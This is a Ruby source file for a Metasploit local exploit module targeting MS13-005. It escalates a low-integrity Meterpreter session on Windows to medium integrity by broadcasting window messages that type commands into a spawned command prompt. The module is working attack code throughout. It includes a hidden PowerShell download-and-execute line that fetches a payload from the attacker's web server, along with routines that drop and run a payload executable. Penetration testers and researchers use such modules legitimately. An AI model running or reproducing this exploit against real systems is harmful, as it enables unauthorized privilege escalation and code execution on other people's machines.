##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation',
        'Description'	=> %q{
          Due to a problem with isolating window broadcast messages in the Windows kernel,
          an attacker can broadcast commands from a lower Integrity Level process to a
          higher Integrity Level process, thereby effecting a privilege escalation. This
          issue affects Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, and
          RT. Note that spawning a command prompt with the shortcut key combination Win+Shift+#
          does not work in Vista, so the attacker will have to check if the user is already
          running a command prompt and set SPAWN_PROMPT false.

          Three exploit techniques are available with this module. The WEB technique will
          execute a powershell encoded payload from a Web location.  The FILE technique
          will drop an executable to the file system, set it to medium integrity and execute
          it. The TYPE technique will attempt to execute a powershell encoded payload directly
          from the command line, but may take some time to complete.
        },
        'License'	=> MSF_LICENSE,
        'Author' => [
          'Tavis Ormandy', # Discovery
          'Axel Souchet', # @0vercl0k POC
          'Ben Campbell' # Metasploit module
        ],
        'Platform'	=> [ 'win' ],
        'SessionTypes'	=> [ 'meterpreter' ],
        'Targets' => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 40,
        },
        'DisclosureDate' => '2012-11-27',
        'References' => [
          [ 'CVE', '2013-0008' ],
          [ 'MSB', 'MS13-005' ],
          [ 'OSVDB', '88966'],
          [ 'URL', 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ]
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_railgun_api_multi
              stdapi_sys_config_getenv
              stdapi_sys_process_execute
              stdapi_sys_process_get_processes
              stdapi_sys_process_kill
            ]
          }
        }
      )
    )

    register_options(
      [
        OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]),
        OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB', 'FILE', 'TYPE']]),
        OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type'])
      ], self.class
    )
  end

  def low_integrity_level?
    tmp_dir = session.sys.config.getenv('USERPROFILE')
    cd(tmp_dir)
    new_dir = "#{rand_text_alpha(5)}"
    begin
      session.shell_command_token("mkdir #{new_dir}")
    rescue
      return true
    end

    if directory?(new_dir)
      session.shell_command_token("rmdir #{new_dir}")
      return false
    else
      return true
    end
  end

  def win_shift(number)
    vk = 0x30 + number
    bscan = 0x81 + number
    client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0)
    client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0)
    client.railgun.user32.keybd_event(vk, bscan, 0, 0)
    client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0)
    client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0)
    client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0)
  end

  def count_cmd_procs
    count = 0
    client.sys.process.each_process do |proc|
      if proc['name'] == 'cmd.exe'
        count += 1
      end
    end

    vprint_status("Cmd prompt count: #{count}")
    return count
  end

  def cleanup
    if datastore['SPAWN_PROMPT'] and @hwin
      vprint_status("Rehiding window...")
      client.railgun.user32.ShowWindow(@hwin, 0)
    end
    super
  end

  def exploit
    # First of all check if the session is running on Low Integrity Level.
    # If it isn't doesn't worth continue
    print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
    fail_with(Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level?

    # If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which
    # hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
    # integrity process can write.
    drop_to_fs = false
    if datastore['TECHNIQUE'] == 'FILE'
      payload_file = "#{rand_text_alpha(5 + rand(3))}.exe"
      begin
        tmp_dir = session.sys.config.getenv('TEMP')
        tmp_dir << "\\Low" unless tmp_dir[-3, 3] =~ /Low/i
        cd(tmp_dir)
        print_status("Trying to drop payload to #{tmp_dir}...")
        if write_file(payload_file, generate_payload_exe)
          print_good("Payload dropped successfully, exploiting...")
          drop_to_fs = true
          register_file_for_cleanup(payload_file)
          payload_path = tmp_dir
        else
          print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
          drop_to_fs = false
        end
      rescue ::Rex::Post::Meterpreter::RequestError
        print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
        drop_to_fs = false
      end
    end

    if drop_to_fs
      command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}"
      make_it(command)
    elsif datastore['TECHNIQUE'] == 'TYPE'
      if datastore['CUSTOM_COMMAND']
        command = datastore['CUSTOM_COMMAND']
      else
        print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the powershell command line payload")
        command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
      end
      make_it(command)
    else
      super
    end
  end

  def primer
    url = get_uri()
    download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
    command = generate_psh_command_line({
      :noprofile => true,
      :windowstyle => 'hidden',
      :command => download_and_run
    })
    make_it(command)
  end

  def make_it(command)
    if datastore['SPAWN_PROMPT']
      @hwin = client.railgun.kernel32.GetConsoleWindow()['return']
      if @hwin == nil
        @hwin = client.railgun.user32.GetForegroundWindow()['return']
      end
      client.railgun.user32.ShowWindow(@hwin, 0)
      client.railgun.user32.ShowWindow(@hwin, 5)

      # Spawn low integrity cmd.exe
      print_status("Spawning Low Integrity Cmd Prompt")
      windir = session.sys.config.getenv('windir')
      li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, { 'Hidden' => false }).pid

      count = count_cmd_procs
      spawned = false
      print_status("Brute forcing Taskbar Position")
      9.downto(1) do |number|
        vprint_status("Attempting Win+Shift+#{number}")
        win_shift(number)
        sleep(1)

        if count_cmd_procs > count
          print_good("Spawned Medium Integrity Cmd Prompt")
          spawned = true
          break
        end
      end

      client.sys.process.kill(li_cmd_pid)

      fail_with(Failure::Unknown, "No Cmd Prompt spawned") unless spawned
    end

    print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
    multi_rail = []
    command.each_char do |c|
      multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0]]
    end

    multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0]]
    print_status("Executing command...")
    client.railgun.multi(multi_rail)
  end

  def on_request_uri(cli, request)
    print_status("Delivering Payload")
    data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
  end
end
